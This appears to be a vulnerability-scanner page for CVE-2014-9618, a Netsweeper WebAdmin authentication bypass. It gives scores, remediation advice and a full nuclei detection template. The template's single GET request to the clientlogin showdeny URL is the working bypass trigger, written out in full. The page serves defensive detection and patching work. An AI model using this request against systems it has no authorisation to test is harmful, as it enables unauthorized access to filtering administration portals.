Netsweeper - Authentication Bypass

criticalseverity

9.8CVSS score

72.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The Client Filter Admin portal in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to bypass authentication and subsequently create arbitrary profiles via a showdeny action to the default URL.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system.

Fix

Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Netsweeper.

How to confirm it

Send: GET {{BaseURL}}/webadmin/clientlogin/?srid=&action=showdeny&url=
Positive when: contains "name=formtag action=\"../clientlogin/?srid=&action=showdeny&…" and "placeholder=\"Profile Manager\">" and "<title>Netsweeper WebAdmin</title>" AND status 200

Run it with nuclei: nuclei -id CVE-2014-9618 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-9618

info:
  name: Netsweeper - Authentication Bypass
  author: daffainfo
  severity: critical
  description: |
    The Client Filter Admin portal in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to bypass authentication and subsequently create arbitrary profiles via a showdeny action to the default URL.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information and potential compromise of the system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Netsweeper.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9618
    - https://www.exploit-db.com/exploits/37933/
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-9618
    cwe-id: CWE-287
    epss-score: 0.72696
    epss-percentile: 0.9945
    cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,netsweeper,auth-bypass,packetstorm,edb,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webadmin/clientlogin/?srid=&action=showdeny&url='

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'name=formtag action="../clientlogin/?srid=&action=showdeny&url="'
          - 'placeholder="Profile Manager">'
          - '<title>Netsweeper WebAdmin</title>'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from